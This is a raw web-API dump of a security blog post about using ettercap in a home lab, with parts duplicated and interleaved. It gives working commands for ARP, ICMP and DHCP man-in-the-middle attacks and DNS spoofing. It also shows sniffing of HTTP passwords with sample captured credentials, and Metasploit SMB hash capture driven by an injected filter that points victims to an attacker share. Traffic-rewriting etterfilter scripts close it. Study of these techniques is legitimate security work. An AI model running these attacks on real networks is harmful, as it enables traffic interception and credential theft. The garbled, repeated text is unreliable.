Usage<\/h2>\n\n\n\nettercap OPTIONS TARGET1 TARGET2<\/pre>\n\n\n\n
- Tar\u00adgets are defined as MAC<\/span>\/IPv4s\/IPv6s\/PORT<\/span> (there is no DEST<\/span> or SRC<\/span> because traf\u00adfic is bi-directional)
\n- Exam\u00adple: 84:38:35:54:27:54\/192.168.5.100\/ (MAC<\/span> defined, IP<\/span> defined, all Ports)<\/li>\n
- Exam\u00adple: \/192.168.5.100\/ (Every paket with this ip, every MAC<\/span> and Port)<\/li>\n<\/ul>\n<\/li>
- When using with Wire\u00adshark, use the \u2013only-mitm<\/em> option. Etter\u00adcap will the dis\u00adable the sniffing.<\/li>
- Sniff\u00ading WLAN<\/span>: See the man\u00adpage for using the \u2013wiki-key option for pro\u00advid\u00ading the key.<\/li><\/ul>\n\n\n\n
Notes<\/h2>\n\n\n\n- When using on a gateway:
\n- Etter\u00adcap dis\u00adables ip_forwarding in the kernel.<\/li>\n
- It drops per\u00admis\u00adsions so it can\u2019t enable it after termination.<\/li>\n
- So make sure to enable it man\u00adu\u00adal\u00adly after every use!<\/li>\n<\/ul>\n<\/li><\/ul>\n\n\n\n
ARP-poisening MitM attack<\/h2>\n\n\n\n
A man in the mid\u00addle attack can be per\u00adformed via three ways:<\/p>\n\n\n\n
- Via ARP<\/span>: Poi\u00adson\u00ading the ARP<\/span> cache of the attacked client.<\/li><\/ul>\n\n\n\n
ettercap -M arp<\/pre>\n\n\n\n
- Via ICMP<\/span>: Uses ICMP<\/span> redi\u00adrec\u00adtion by announc\u00ading a new\/better route to the inter\u00adnet. This catch\u00ades only<\/em> traf\u00adfic from<\/em> the attacked client. The MAC<\/span> and IP<\/span> of the real gate\u00adway have to be provided.<\/li><\/ul>\n\n\n\n
ettercap -M icmp:MAC\/IP<\/pre>\n\n\n\n
- Via DHCP<\/span>: Uses DHCP<\/span> spoof\u00ading and tries to \u201cwin\u201d the DHCP<\/span> ACK<\/span> race with the real DHCP<\/span> serv\u00ader. A IP-POOL<\/span> is nec\u00ades\u00adsary which should con\u00adtain many free address\u00ades in the net\u00adwork. NETMASK<\/span> should be giv\u00aden accord\u00ading\u00adly and an IP<\/span> for a DNS<\/span> server.
\n- Cau\u00adtion<\/strong>: After end\u00ading a sniff\u00ading ses\u00adsion, the attacked client will be have no con\u00adnec\u00adtion until the DHCP<\/span> release!<\/li>\n<\/ul>\n<\/li><\/ul>\n\n\n\n
ettercap -M dhcp:IP-POOL\/NETMASK\/DNS<\/pre>\n\n\n\nDNS<\/span> spoofing<\/h2>\n\n\n\nSce\u00adnario: You want the vic\u00adtim to con\u00adnect to your server.<\/p>\n\n\n\n
- Set\u00adup the fakes webserver<\/li>
- Manip\u00adu\u00adlate
\/etc\/ettercap\/etter.dns<\/code> and set the Domains and the IP<\/span> of the fake webserver<\/li>- Start etter\u00adcap: Source is the gate\u00adway, tar\u00adget the attacked hosts.<\/li><\/ol>\n\n\n\n
ettercap -T -Q -i eth1 -P dns_spoof -M arp \/192.168.5.254\/\/ \/192.168.5.105-106\/2003:df:6bde:f600:d5:e501:b0c3:e7ef\/<\/pre>\n\n\n\nPassword sniffing<\/h2>\n\n\n\nhtauth<\/h3>\n\n\n\n
The fol\u00adlow\u00ading will per\u00adform an arp spoff\u00ading in the same net\u00adwork and show the user\u00adname and pass\u00adword as soon as the vic\u00adtims access a htpass\u00adwd-pro\u00adtect\u00aded page.<\/p>\n\n\n\n
- Set up a sys\u00adtem with a web\u00adserv\u00ader and a pro\u00adtect\u00aded directory.<\/li>
- Access it from the vic\u00adtim VM<\/span> and check that all is con\u00adfig\u00adured correctly.<\/li>
- On the attack\u00ader VM<\/span> and let etter\u00adcap poi\u00adson each traf\u00adfic from $tar\u00adget:
ettercap -T -i eth0 -M arp:remote \/$target\/\/<\/code><\/li>- As soon as the user request\u00aded the site one time, the cre\u00adden\u00adtials are shown in std\u00adout:
HTTP : 192.168.178.67:8080 -> USER: geheim PASS: password INFO: 192.168.178.67:8080\/geheim\/<\/code><\/li>- Quit etter\u00adcap by press\u00ading the
q<\/code> but\u00adton. This will \u201crepoi\u00adson\u201d the tar\u00adgets sys\u00adtem with the cor\u00adrect address so that at the next request it will work for the vic\u00adtim as usual.<\/li><\/ol>\n\n\n\nSamba<\/h3>\n\n\n\n
Sce\u00adnario: You want to redi\u00adrect SMB<\/span> cre\u00adden\u00adtials to an own serv\u00ader to get hashes.<\/p>\n\n\n\n1. Start SMB<\/span> cap\u00adture serv\u00ader in Metasploit:<\/p>\n\n\n\nmsf> use auxiliary\/server\/capture\/smb
msf> set JOHNPWFILE \/tmp\/john.hashes
msf> exploit<\/code><\/pre>\n\n\n\n2. Cre\u00adate a etter\u00adcap filter:<\/p>\n\n\n\n
if (ip.proto == TCP && tcp.dst == 8080) {\n \/\/ Prevents compressed responses from the server.\n if (search(DATA.data, \"Accept-Encoding\")) {\n replace(\"Accept-Encoding\", \"Accept-Enc0d1ng\");\n }\n\n \/\/ Prevents caching\n if (search(DATA.data, \"If-Modified-Since\")) {\n replace(\"If-Modified-Since\", \"If-Modified-After\");\n }\n\n \/\/ Add a image tag after the header. File should exists, 1 transparent pixel.\n replace(\"<head>, \"<head><img src=\\\"\\\\\\\\$attacker\\share\\fake.jpg\\\">\");\n msg(\"Header injected with share image reference.\\n\");\n}<\/pre>\n\n\n\n3. The smb lis\u00adten\u00ader in Metas\u00adploit receives hashes:<\/p>\n\n\n\n
[*] SMB Captured - 2021-05-02 12:48:37 +0000\nNTLMv2 Response Captured from 192.168.178.68:50358 - 192.168.178.68\nUSER:lab03 DOMAIN:TVM23-WIN10 OS: LM:\nLMHASH:Disabled\nLM_CLIENT_CHALLENGE:Disabled\nNTHASH:e7dc...\nNT_CLIENT_CHALLENGE:010100000000000039df2778513fd70126e9088084dd2a9e00000000020000000000000000000000<\/pre>\n\n\n\nReplace content<\/h2>\n\n\n\n
Sce\u00adnario:<\/p>\n\n\n\n
- $serv\u00ader runs a web\u00adserv\u00ader on $port which con\u00adtent you want to change dur\u00ading transit:<\/li>
- $vic\u00adtim request\u00aded a site from $serv\u00ader with the unchanged content:
![](\"https:\/\/andreas-klingler.de\/infosec\/wp-content\/uploads\/2017\/07\/Bildschirmfoto-2021-05-02-um-13.32.28.png\")
<\/li> - You are $attack\u00ader.<\/li><\/ul>\n\n\n\n
Process:<\/p>\n\n\n\n
- Pro\u00advide the changed con\u00adtent on your attack machine. We want to change the image here with
http:\/\/$attacker\/kali.jpg<\/code>.<\/li>- Cre\u00adate the fol\u00adlow\u00ading fil\u00adter. Note that in real\u00adi\u00adty you would add more con\u00addi\u00adtions to make sure to only change the desired page and not all traf\u00adfic.
if (ip.proto == TCP && ip.dst == '$target' && tcp.src == $port) {
replace(\"<img src=\", \"<img src=\\\"http:\/\/$attacker\/kali.jpg\\\" data-o=\");
msg(\"Image replaced.\\n\");
}<\/code><\/li>- Com\u00adpile the fil\u00adter:
etterfilter replace_image.filter -o replace_image.ef<\/code><\/li>- Exe\u00adcute:
ettercap -T -i eth0 -F replace_image.ef -M arp:remote \/$target\/\/<\/code> \/$target\/\/<\/code><\/li>- If the $tar\u00adget now vis\u00adits the page, it won\u2019t work. Because the Con\u00adtent-Length head\u00ader was not changed and the new HTML<\/span> body is longer!
![](\"https:\/\/andreas-klingler.de\/infosec\/wp-content\/uploads\/2017\/07\/Bildschirmfoto-2021-05-02-um-13.49.44.png\")
<\/li>- So, pay atten\u00adtion to side effects as well. Unfor\u00adtu\u00adnatel\u00adly, because etter\u00adcap changes pack\u00adets, we may not have the Con\u00adtent-Length head\u00ader in the same pack\u00adet and thus can\u00adnot used it to cal\u00adcu\u00adlate an updat\u00aded length. There\u00adfore, try to mod\u00adi\u00adfy a larg\u00ader string por\u00adtion and try to not mod\u00adi\u00adfy the body\u2019s length. In our test case, the source of the HTML<\/span> file looks as fol\u00adlows:
Our software:
<img src=\"win10.jpg\" alt=\"The ultimative system for bluescreens.\" \/><\/code><\/li>- We want to replace win10<\/em> (5 char\u00adac\u00adters) with http:\/\/192.168.178.29\/kali<\/em> (26 char\u00adac\u00adters). There\u00adfore we have to cut off 21 char\u00adac\u00adters:
img src=\u201cwin10.jpg\u201d alt=\u201cThe ulti\u00adma\u00adtive sys\u00adtem for blue\u00adscreens.\u201d
\u2026
img src=\u201chttp:\/\/192.168.178.29\/kali.jpg\u201d alt=\u201cThe ultimative\u2026\u201d<\/li>- Both strings have now an equal length and we can update the fil\u00adter:
if (ip.proto == TCP && ip.dst == '$target' && tcp.src == $port) {
replace(\"img src=\\\"win10.jpg\\\" alt=\\\"The ultimative system for bluescreens.\\\"\", \"img src=\\\"http:\/\/192.168.178.29\/kali.jpg\\\" alt=\\\"The ultimative\u2026\\\"\");
msg(\"Image replaced.\\n\");
}<\/code><\/li>- Com\u00adpile the fil\u00adter as before.<\/li>
- Exe\u00adcute etter\u00adcap if as before.<\/li>
- It still does\u00adn\u2019t work.<\/li>
- Look\u00ading through the etter\u00adcap out\u00adput, you can see that the HTTP<\/span> response head\u00ader con\u00adtains
Content-Encoding: gzip<\/code>. This means that the pack\u00adet is com\u00adpressed and there\u00adfore the string-based replace\u00adment can\u00adnot work.<\/li>- The prop\u00ader solu\u00adtion would be to redi\u00adrect the traf\u00adfic through an own (squid?) proxy which would for\u00adward the response in a uncom\u00adpressed man\u00adner. For this exam\u00adple, I just dis\u00adable com\u00adpres\u00adsion in the $server\u2019s Apache con\u00adfig\u00adu\u00adra\u00adtion by set\u00adting
SetEnv no-gzip 1<\/code> in the Vir\u00adtu\u00adal\u00adHost configuration.<\/li>- Try it again.<\/li>
- Now it worked:
![](\"https:\/\/andreas-klingler.de\/infosec\/wp-content\/uploads\/2017\/07\/Bildschirmfoto-2021-05-02-um-14.17.54.png\")
<\/li> - But\u2026 If we just remove the browsers Accept-Encod\u00ading head\u00ader where it tells the serv\u00ader that it accepts a com\u00adpressed response, then\u2026 the serv\u00ader would not com\u00adpress the response! And: An addi\u00adtion\u00adal prob\u00adlem could be that caching pre\u00advents the tar\u00adget\u2019s brows\u00ader to update the con\u00adtent. Try to mod\u00adi\u00adfy caching head\u00aders as well. The final script:<\/li><\/ol>\n\n\n\n
\/\/ This changes the browsers request and \"removes\" the Accept-Encoding header\n\/\/ which normally would lead the server to respond with an unencrypted plain\n\/\/ text response.\nif (ip.proto == TCP && tcp.dst == 8080) {\n if (search(DATA.data, \"Accept-Encoding\")) {\n replace(\"Accept-Encoding\", \"Accept-Rubbish!\");\n }\n }\n\n\/\/ This replaces the response.\nif (ip.proto == TCP && ip.dst == '192.168.178.68' && tcp.src == 8080) {\n if (search(DATA.data, \"If-Modified-Since\")) {\n replace(\"If-Modified-Since\", \"If-42dified-Since\");\n }\n if (search(DATA.data, \"If-None-Match\")) {\n replace(\"If-None-Match\", \"If-1337-Match\");\n }\n replace(\"img src=\\\"win10.jpg\\\" alt=\\\"The ultimative system for bluescreens.\\\"\", \"img src=\\\"http:\/\/192.168.178.29\/kali.jpg\\\" alt=\\\"The ultimative\u2026\\\"\");\n msg(\"Image replaced.\\n\");\n}<\/pre>\n","protected":false},"excerpt":{"rendered":"Sniff\u00ading and live con\u00adtent fil\u00adter\u00ading. Oper\u00ada\u00adtion modes: Uni\u00adfied: sniffs all pack\u00adets from one inter\u00adface. Pack\u00adets for an attack host are end\u00ading here, but are direct\u00adly for\u00adward\u00aded after receiv\u00ading Brid\u00adget: For\u00adwards traf\u00adfic from one inter\u00adface to anoth\u00ader. Absolute\u00adly secret because there is real\u00adly no one \u201cbetween the cable\u201d Usage etter\u00adcap OPTIONS<\/span> TARGET1<\/span> TARGET2<\/span> Tar\u00adgets are defined as MAC<\/span>\/IPv4s\/IPv6s\/PORT<\/span> [\u2026]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"wp_typography_post_enhancements_disabled":false,"footnotes":""},"categories":[469,470,475,476],"tags":[17,15,19,18,8],"class_list":["post-47","post","type-post","status-publish","format-standard","hentry","category-passive-enum","category-active-enum","category-attack-tool","category-defence-tool","tag-ettercap","tag-man-in-the-middle","tag-password-retrieving","tag-sniffing","tag-ssl"],"_links":{"self":[{"href":"https:\/\/infosec.andreas-klingler.de\/index.php?rest_route=\/wp\/v2\/posts\/47","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/infosec.andreas-klingler.de\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/infosec.andreas-klingler.de\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/infosec.andreas-klingler.de\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/infosec.andreas-klingler.de\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=47"}],"version-history":[{"count":18,"href":"https:\/\/infosec.andreas-klingler.de\/index.php?rest_route=\/wp\/v2\/posts\/47\/revisions"}],"predecessor-version":[{"id":3121,"href":"https:\/\/infosec.andreas-klingler.de\/index.php?rest_route=\/wp\/v2\/posts\/47\/revisions\/3121"}],"wp:attachment":[{"href":"https:\/\/infosec.andreas-klingler.de\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=47"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/infosec.andreas-klingler.de\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=47"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/infosec.andreas-klingler.de\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=47"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}
- \n
- Exam\u00adple: 84:38:35:54:27:54\/192.168.5.100\/ (MAC<\/span> defined, IP<\/span> defined, all Ports)<\/li>\n
- Exam\u00adple: \/192.168.5.100\/ (Every paket with this ip, every MAC<\/span> and Port)<\/li>\n<\/ul>\n<\/li>
- When using with Wire\u00adshark, use the \u2013only-mitm<\/em> option. Etter\u00adcap will the dis\u00adable the sniffing.<\/li>
- Sniff\u00ading WLAN<\/span>: See the man\u00adpage for using the \u2013wiki-key option for pro\u00advid\u00ading the key.<\/li><\/ul>\n\n\n\n
Notes<\/h2>\n\n\n\n
- When using on a gateway:
- \n
- Etter\u00adcap dis\u00adables ip_forwarding in the kernel.<\/li>\n
- It drops per\u00admis\u00adsions so it can\u2019t enable it after termination.<\/li>\n
- So make sure to enable it man\u00adu\u00adal\u00adly after every use!<\/li>\n<\/ul>\n<\/li><\/ul>\n\n\n\n
ARP-poisening MitM attack<\/h2>\n\n\n\n
A man in the mid\u00addle attack can be per\u00adformed via three ways:<\/p>\n\n\n\n
- Via ARP<\/span>: Poi\u00adson\u00ading the ARP<\/span> cache of the attacked client.<\/li><\/ul>\n\n\n\n
ettercap -M arp<\/pre>\n\n\n\n
- Via ICMP<\/span>: Uses ICMP<\/span> redi\u00adrec\u00adtion by announc\u00ading a new\/better route to the inter\u00adnet. This catch\u00ades only<\/em> traf\u00adfic from<\/em> the attacked client. The MAC<\/span> and IP<\/span> of the real gate\u00adway have to be provided.<\/li><\/ul>\n\n\n\n
ettercap -M icmp:MAC\/IP<\/pre>\n\n\n\n
- Via DHCP<\/span>: Uses DHCP<\/span> spoof\u00ading and tries to \u201cwin\u201d the DHCP<\/span> ACK<\/span> race with the real DHCP<\/span> serv\u00ader. A IP-POOL<\/span> is nec\u00ades\u00adsary which should con\u00adtain many free address\u00ades in the net\u00adwork. NETMASK<\/span> should be giv\u00aden accord\u00ading\u00adly and an IP<\/span> for a DNS<\/span> server.
- \n
- Cau\u00adtion<\/strong>: After end\u00ading a sniff\u00ading ses\u00adsion, the attacked client will be have no con\u00adnec\u00adtion until the DHCP<\/span> release!<\/li>\n<\/ul>\n<\/li><\/ul>\n\n\n\n
ettercap -M dhcp:IP-POOL\/NETMASK\/DNS<\/pre>\n\n\n\n
DNS<\/span> spoofing<\/h2>\n\n\n\n
Sce\u00adnario: You want the vic\u00adtim to con\u00adnect to your server.<\/p>\n\n\n\n
- Set\u00adup the fakes webserver<\/li>
- Manip\u00adu\u00adlate
\/etc\/ettercap\/etter.dns<\/code> and set the Domains and the IP<\/span> of the fake webserver<\/li>- Start etter\u00adcap: Source is the gate\u00adway, tar\u00adget the attacked hosts.<\/li><\/ol>\n\n\n\n
ettercap -T -Q -i eth1 -P dns_spoof -M arp \/192.168.5.254\/\/ \/192.168.5.105-106\/2003:df:6bde:f600:d5:e501:b0c3:e7ef\/<\/pre>\n\n\n\n
Password sniffing<\/h2>\n\n\n\n
htauth<\/h3>\n\n\n\n
The fol\u00adlow\u00ading will per\u00adform an arp spoff\u00ading in the same net\u00adwork and show the user\u00adname and pass\u00adword as soon as the vic\u00adtims access a htpass\u00adwd-pro\u00adtect\u00aded page.<\/p>\n\n\n\n
- Set up a sys\u00adtem with a web\u00adserv\u00ader and a pro\u00adtect\u00aded directory.<\/li>
- Access it from the vic\u00adtim VM<\/span> and check that all is con\u00adfig\u00adured correctly.<\/li>
- On the attack\u00ader VM<\/span> and let etter\u00adcap poi\u00adson each traf\u00adfic from $tar\u00adget:
ettercap -T -i eth0 -M arp:remote \/$target\/\/<\/code><\/li>- As soon as the user request\u00aded the site one time, the cre\u00adden\u00adtials are shown in std\u00adout:
HTTP : 192.168.178.67:8080 -> USER: geheim PASS: password INFO: 192.168.178.67:8080\/geheim\/<\/code><\/li>- Quit etter\u00adcap by press\u00ading the
q<\/code> but\u00adton. This will \u201crepoi\u00adson\u201d the tar\u00adgets sys\u00adtem with the cor\u00adrect address so that at the next request it will work for the vic\u00adtim as usual.<\/li><\/ol>\n\n\n\nSamba<\/h3>\n\n\n\n
Sce\u00adnario: You want to redi\u00adrect SMB<\/span> cre\u00adden\u00adtials to an own serv\u00ader to get hashes.<\/p>\n\n\n\n
1. Start SMB<\/span> cap\u00adture serv\u00ader in Metasploit:<\/p>\n\n\n\n
msf> use auxiliary\/server\/capture\/smb
msf> set JOHNPWFILE \/tmp\/john.hashes
msf> exploit<\/code><\/pre>\n\n\n\n2. Cre\u00adate a etter\u00adcap filter:<\/p>\n\n\n\n
if (ip.proto == TCP && tcp.dst == 8080) {\n \/\/ Prevents compressed responses from the server.\n if (search(DATA.data, \"Accept-Encoding\")) {\n replace(\"Accept-Encoding\", \"Accept-Enc0d1ng\");\n }\n\n \/\/ Prevents caching\n if (search(DATA.data, \"If-Modified-Since\")) {\n replace(\"If-Modified-Since\", \"If-Modified-After\");\n }\n\n \/\/ Add a image tag after the header. File should exists, 1 transparent pixel.\n replace(\"<head>, \"<head><img src=\\\"\\\\\\\\$attacker\\share\\fake.jpg\\\">\");\n msg(\"Header injected with share image reference.\\n\");\n}<\/pre>\n\n\n\n3. The smb lis\u00adten\u00ader in Metas\u00adploit receives hashes:<\/p>\n\n\n\n
[*] SMB Captured - 2021-05-02 12:48:37 +0000\nNTLMv2 Response Captured from 192.168.178.68:50358 - 192.168.178.68\nUSER:lab03 DOMAIN:TVM23-WIN10 OS: LM:\nLMHASH:Disabled\nLM_CLIENT_CHALLENGE:Disabled\nNTHASH:e7dc...\nNT_CLIENT_CHALLENGE:010100000000000039df2778513fd70126e9088084dd2a9e00000000020000000000000000000000<\/pre>\n\n\n\n
Replace content<\/h2>\n\n\n\n
Sce\u00adnario:<\/p>\n\n\n\n
- $serv\u00ader runs a web\u00adserv\u00ader on $port which con\u00adtent you want to change dur\u00ading transit:<\/li>
- $vic\u00adtim request\u00aded a site from $serv\u00ader with the unchanged content:<\/li>
- You are $attack\u00ader.<\/li><\/ul>\n\n\n\n
Process:<\/p>\n\n\n\n
- Pro\u00advide the changed con\u00adtent on your attack machine. We want to change the image here with
http:\/\/$attacker\/kali.jpg<\/code>.<\/li>- Cre\u00adate the fol\u00adlow\u00ading fil\u00adter. Note that in real\u00adi\u00adty you would add more con\u00addi\u00adtions to make sure to only change the desired page and not all traf\u00adfic.
if (ip.proto == TCP && ip.dst == '$target' && tcp.src == $port) {
replace(\"<img src=\", \"<img src=\\\"http:\/\/$attacker\/kali.jpg\\\" data-o=\");
msg(\"Image replaced.\\n\");
}<\/code><\/li>- Com\u00adpile the fil\u00adter:
etterfilter replace_image.filter -o replace_image.ef<\/code><\/li>- Exe\u00adcute:
ettercap -T -i eth0 -F replace_image.ef -M arp:remote\/$target\/\/<\/code> \/$target\/\/<\/code><\/li>- If the $tar\u00adget now vis\u00adits the page, it won\u2019t work. Because the Con\u00adtent-Length head\u00ader was not changed and the new HTML<\/span> body is longer!
<\/li>- So, pay atten\u00adtion to side effects as well. Unfor\u00adtu\u00adnatel\u00adly, because etter\u00adcap changes pack\u00adets, we may not have the Con\u00adtent-Length head\u00ader in the same pack\u00adet and thus can\u00adnot used it to cal\u00adcu\u00adlate an updat\u00aded length. There\u00adfore, try to mod\u00adi\u00adfy a larg\u00ader string por\u00adtion and try to not mod\u00adi\u00adfy the body\u2019s length. In our test case, the source of the HTML<\/span> file looks as fol\u00adlows:
Our software:
<img src=\"win10.jpg\" alt=\"The ultimative system for bluescreens.\" \/><\/code><\/li>- We want to replace win10<\/em> (5 char\u00adac\u00adters) with http:\/\/192.168.178.29\/kali<\/em> (26 char\u00adac\u00adters). There\u00adfore we have to cut off 21 char\u00adac\u00adters:
img src=\u201cwin10.jpg\u201d alt=\u201cThe ulti\u00adma\u00adtive sys\u00adtem for blue\u00adscreens.\u201d
\u2026
img src=\u201chttp:\/\/192.168.178.29\/kali.jpg\u201d alt=\u201cThe ultimative\u2026\u201d<\/li>- Both strings have now an equal length and we can update the fil\u00adter:
if (ip.proto == TCP && ip.dst == '$target' && tcp.src == $port) {
replace(\"img src=\\\"win10.jpg\\\" alt=\\\"The ultimative system for bluescreens.\\\"\", \"img src=\\\"http:\/\/192.168.178.29\/kali.jpg\\\" alt=\\\"The ultimative\u2026\\\"\");
msg(\"Image replaced.\\n\");
}<\/code><\/li>- Com\u00adpile the fil\u00adter as before.<\/li>
- Exe\u00adcute etter\u00adcap if as before.<\/li>
- It still does\u00adn\u2019t work.<\/li>
- Look\u00ading through the etter\u00adcap out\u00adput, you can see that the HTTP<\/span> response head\u00ader con\u00adtains
Content-Encoding: gzip<\/code>. This means that the pack\u00adet is com\u00adpressed and there\u00adfore the string-based replace\u00adment can\u00adnot work.<\/li>- The prop\u00ader solu\u00adtion would be to redi\u00adrect the traf\u00adfic through an own (squid?) proxy which would for\u00adward the response in a uncom\u00adpressed man\u00adner. For this exam\u00adple, I just dis\u00adable com\u00adpres\u00adsion in the $server\u2019s Apache con\u00adfig\u00adu\u00adra\u00adtion by set\u00adting
SetEnv no-gzip 1<\/code> in the Vir\u00adtu\u00adal\u00adHost configuration.<\/li>- Try it again.<\/li>
- Now it worked:
<\/li>- But\u2026 If we just remove the browsers Accept-Encod\u00ading head\u00ader where it tells the serv\u00ader that it accepts a com\u00adpressed response, then\u2026 the serv\u00ader would not com\u00adpress the response! And: An addi\u00adtion\u00adal prob\u00adlem could be that caching pre\u00advents the tar\u00adget\u2019s brows\u00ader to update the con\u00adtent. Try to mod\u00adi\u00adfy caching head\u00aders as well. The final script:<\/li><\/ol>\n\n\n\n
\/\/ This changes the browsers request and \"removes\" the Accept-Encoding header\n\/\/ which normally would lead the server to respond with an unencrypted plain\n\/\/ text response.\nif (ip.proto == TCP && tcp.dst == 8080) {\n if (search(DATA.data, \"Accept-Encoding\")) {\n replace(\"Accept-Encoding\", \"Accept-Rubbish!\");\n }\n }\n\n\/\/ This replaces the response.\nif (ip.proto == TCP && ip.dst == '192.168.178.68' && tcp.src == 8080) {\n if (search(DATA.data, \"If-Modified-Since\")) {\n replace(\"If-Modified-Since\", \"If-42dified-Since\");\n }\n if (search(DATA.data, \"If-None-Match\")) {\n replace(\"If-None-Match\", \"If-1337-Match\");\n }\n replace(\"img src=\\\"win10.jpg\\\" alt=\\\"The ultimative system for bluescreens.\\\"\", \"img src=\\\"http:\/\/192.168.178.29\/kali.jpg\\\" alt=\\\"The ultimative\u2026\\\"\");\n msg(\"Image replaced.\\n\");\n}<\/pre>\n","protected":false},"excerpt":{"rendered":"Sniff\u00ading and live con\u00adtent fil\u00adter\u00ading. Oper\u00ada\u00adtion modes: Uni\u00adfied: sniffs all pack\u00adets from one inter\u00adface. Pack\u00adets for an attack host are end\u00ading here, but are direct\u00adly for\u00adward\u00aded after receiv\u00ading Brid\u00adget: For\u00adwards traf\u00adfic from one inter\u00adface to anoth\u00ader. Absolute\u00adly secret because there is real\u00adly no one \u201cbetween the cable\u201d Usage etter\u00adcap OPTIONS<\/span> TARGET1<\/span> TARGET2<\/span> Tar\u00adgets are defined as MAC<\/span>\/IPv4s\/IPv6s\/PORT<\/span> [\u2026]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"wp_typography_post_enhancements_disabled":false,"footnotes":""},"categories":[469,470,475,476],"tags":[17,15,19,18,8],"class_list":["post-47","post","type-post","status-publish","format-standard","hentry","category-passive-enum","category-active-enum","category-attack-tool","category-defence-tool","tag-ettercap","tag-man-in-the-middle","tag-password-retrieving","tag-sniffing","tag-ssl"],"_links":{"self":[{"href":"https:\/\/infosec.andreas-klingler.de\/index.php?rest_route=\/wp\/v2\/posts\/47","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/infosec.andreas-klingler.de\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/infosec.andreas-klingler.de\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/infosec.andreas-klingler.de\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/infosec.andreas-klingler.de\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=47"}],"version-history":[{"count":18,"href":"https:\/\/infosec.andreas-klingler.de\/index.php?rest_route=\/wp\/v2\/posts\/47\/revisions"}],"predecessor-version":[{"id":3121,"href":"https:\/\/infosec.andreas-klingler.de\/index.php?rest_route=\/wp\/v2\/posts\/47\/revisions\/3121"}],"wp:attachment":[{"href":"https:\/\/infosec.andreas-klingler.de\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=47"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/infosec.andreas-klingler.de\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=47"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/infosec.andreas-klingler.de\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=47"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}
- Cre\u00adate the fol\u00adlow\u00ading fil\u00adter. Note that in real\u00adi\u00adty you would add more con\u00addi\u00adtions to make sure to only change the desired page and not all traf\u00adfic.
- Pro\u00advide the changed con\u00adtent on your attack machine. We want to change the image here with
- On the attack\u00ader VM<\/span> and let etter\u00adcap poi\u00adson each traf\u00adfic from $tar\u00adget:
- Start etter\u00adcap: Source is the gate\u00adway, tar\u00adget the attacked hosts.<\/li><\/ol>\n\n\n\n
- Cau\u00adtion<\/strong>: After end\u00ading a sniff\u00ading ses\u00adsion, the attacked client will be have no con\u00adnec\u00adtion until the DHCP<\/span> release!<\/li>\n<\/ul>\n<\/li><\/ul>\n\n\n\n
- Via DHCP<\/span>: Uses DHCP<\/span> spoof\u00ading and tries to \u201cwin\u201d the DHCP<\/span> ACK<\/span> race with the real DHCP<\/span> serv\u00ader. A IP-POOL<\/span> is nec\u00ades\u00adsary which should con\u00adtain many free address\u00ades in the net\u00adwork. NETMASK<\/span> should be giv\u00aden accord\u00ading\u00adly and an IP<\/span> for a DNS<\/span> server.
- Via ICMP<\/span>: Uses ICMP<\/span> redi\u00adrec\u00adtion by announc\u00ading a new\/better route to the inter\u00adnet. This catch\u00ades only<\/em> traf\u00adfic from<\/em> the attacked client. The MAC<\/span> and IP<\/span> of the real gate\u00adway have to be provided.<\/li><\/ul>\n\n\n\n
- Via ARP<\/span>: Poi\u00adson\u00ading the ARP<\/span> cache of the attacked client.<\/li><\/ul>\n\n\n\n
- Exam\u00adple: \/192.168.5.100\/ (Every paket with this ip, every MAC<\/span> and Port)<\/li>\n<\/ul>\n<\/li>